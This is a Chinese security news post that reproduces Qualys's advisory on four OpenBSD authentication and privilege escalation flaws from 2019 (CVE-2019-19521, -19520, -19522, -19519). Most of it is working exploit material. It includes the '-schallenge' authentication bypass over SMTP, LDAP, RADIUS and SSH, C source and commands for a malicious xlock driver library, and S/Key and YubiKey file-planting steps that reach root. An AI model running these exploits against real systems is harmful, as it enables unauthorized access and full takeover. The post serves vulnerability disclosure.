聚焦源代码安全,网罗国内外最新资讯!
CVE-2019-19521:身份验证绕过

在第二个例子中,目的是允许邮件发送并仅为能够进行身份验证(使用正常的登录凭证)的用户中继。
...
listen on egress tls pki mail.example.com auth
...
match auth from any for any action "outbound"
printf '\0-schallenge\0whatever' | openssl base64AC1zY2hhbGxlbmdlAHdoYXRldmVy$ openssl s_client -connect 192.168.56.121:25 -starttls smtp...EHLO client.example.com...AUTH PLAIN AC1zY2hhbGxlbmdlAHdoYXRldmVy235 2.0.0 Authentication succeeded
ldapsearch -H ldap://192.168.56.121 -O none -U invaliduser -w whateverSASL/PLAIN authentication startedldap_sasl_interactive_bind_s: Invalid credentials (49)$ ldapsearch -H ldap://192.168.56.121 -O none -U -schallenge -w whateverSASL/PLAIN authentication startedSASL username: -schallenge...numResponses: 1-------------------------------
module load "bsdauth" "/usr/libexec/radiusd/radiusd_bsdauth"...authenticate * {authenticate-by "bsdauth"}
$ radiusctl test 192.168.56.121 secret -schallenge password whatever...Reply-Message = "Authentication succeeded"
module set "bsdauth" "restrict-group" "operator"
80 int81 main(int argc, char *argv[])82 {...192 pw = getpwnam(user);...197 if (gr->gr_gid == pw->pw_gid) {
225 void226 monitor_child_preauth(struct ssh *ssh, struct monitor *pmonitor)227 {...229 int authenticated = 0, partial = 0;...249 while (!authenticated) {...288 }289290 if (!authctxt->valid)291 fatal("%s: authenticated invalid user", __func__);
ssh -v -F /dev/null -o PreferredAuthentications=keyboard-interactive \-o KbdInteractiveDevices=bsdauth -l -sresponse:passwd 192.168.56.121...debug1: Next authentication method: keyboard-interactive
su -L -- -schallengeSegmentation fault
CVE-2019-19520:xlock 中的本地提权

101 _X_HIDDEN void *102 driOpenDriver(const char *driverName)103 {...113 if (geteuid() == getuid()) {114 /* don't allow setuid apps to use LIBGL_DRIVERS_PATH */115 libPaths = getenv("LIBGL_DRIVERS_PATH");----------------------------------------------------
$ iduid=32767(nobody) gid=32767(nobody) groups=32767(nobody)$ cd /tmp$ cat > swrast_dri.c << "EOF"static void __attribute__ ((constructor)) _init (void) {gid_t rgid, egid, sgid;if (getresgid(&rgid, &egid, &sgid) != 0) _exit(__LINE__);if (setresgid(sgid, sgid, sgid) != 0) _exit(__LINE__);char * const argv[] = { _PATH_KSHELL, NULL };execve(argv[0], argv, NULL);_exit(__LINE__);}EOF$ gcc -fpic -shared -s -o swrast_dri.so swrast_dri.c$ env -i /usr/X11R6/bin/Xvfb :66 -cc 0 &[1] 2706$ env -i LIBGL_DRIVERS_PATH=. /usr/X11R6/bin/xlock -display :66$ iduid=32767(nobody) gid=11(auth) groups=32767(nobody)
CVE-2019-19522:经由 S/Key 和 YubiKey 的本地提取

iduid=32767(nobody) gid=11(auth) groups=32767(nobody)$ echo 'root md5 0100 obsd91335 8b6d96e0ef1b1c21' > /etc/skey/root$ chmod 0600 /etc/skey/root$ env -i TERM=vt220 su -l -a skeyotp-md5 99 obsd91335S/Key Password: EGG LARD GROW HOG DRAG LAIN# iduid=0(root) gid=0(wheel) ...
$ iduid=32767(nobody) gid=11(auth) groups=32767(nobody)$ echo 32d32ddfb7d5 > /var/db/yubikey/root.uid$ echo 554d5eedfd75fb96cc74d52609505216 > /var/db/yubikey/root.key$ env -i TERM=vt220 su -l -a yubikeyPassword: krkhgtuhdnjclrikikklulkldlutreul# iduid=0(root) gid=0(wheel) ...
CVE-2019-19519:su 中的本地提取

60 int61 main(int argc, char **argv)62 {...174 for (;;) {...210 if (!class && pwd && pwd->pw_class && pwd->pw_class[0] != '\0')211 class = strdup(pwd->pw_class);
iduid=1000(jane) gid=1000(jane) groups=1000(jane), 0(wheel)ulimit -H -a...processes 512su -l -Llogin: rootPassword:Login incorrectlogin: janePassword:iduid=1000(jane) gid=1000(jane) groups=1000(jane), 0(wheel)ulimit -H -a...processes 1310
iduid=1001(john) gid=1001(john) groups=1001(john)ulimit -H -a...786432...processes 256su -l -Llogin: _pbuildPassword:Login incorrectlogin: johnPassword:iduid=1001(john) gid=1001(john) groups=1001(john)ulimit -H -a...33554432...processes 1024
https://www.qualys.com/2019/12/04/cve-2019-19521/authentication-vulnerabilities-openbsd.txt?_ga=2.58244398.587934852.1575530822-682141427.1570559125
https://thehackernews.com/2019/12/openbsd-authentication-vulnerability.html
奇安信代码卫士 (codesafe)
国内首个专注于软件开发安全的产品线。

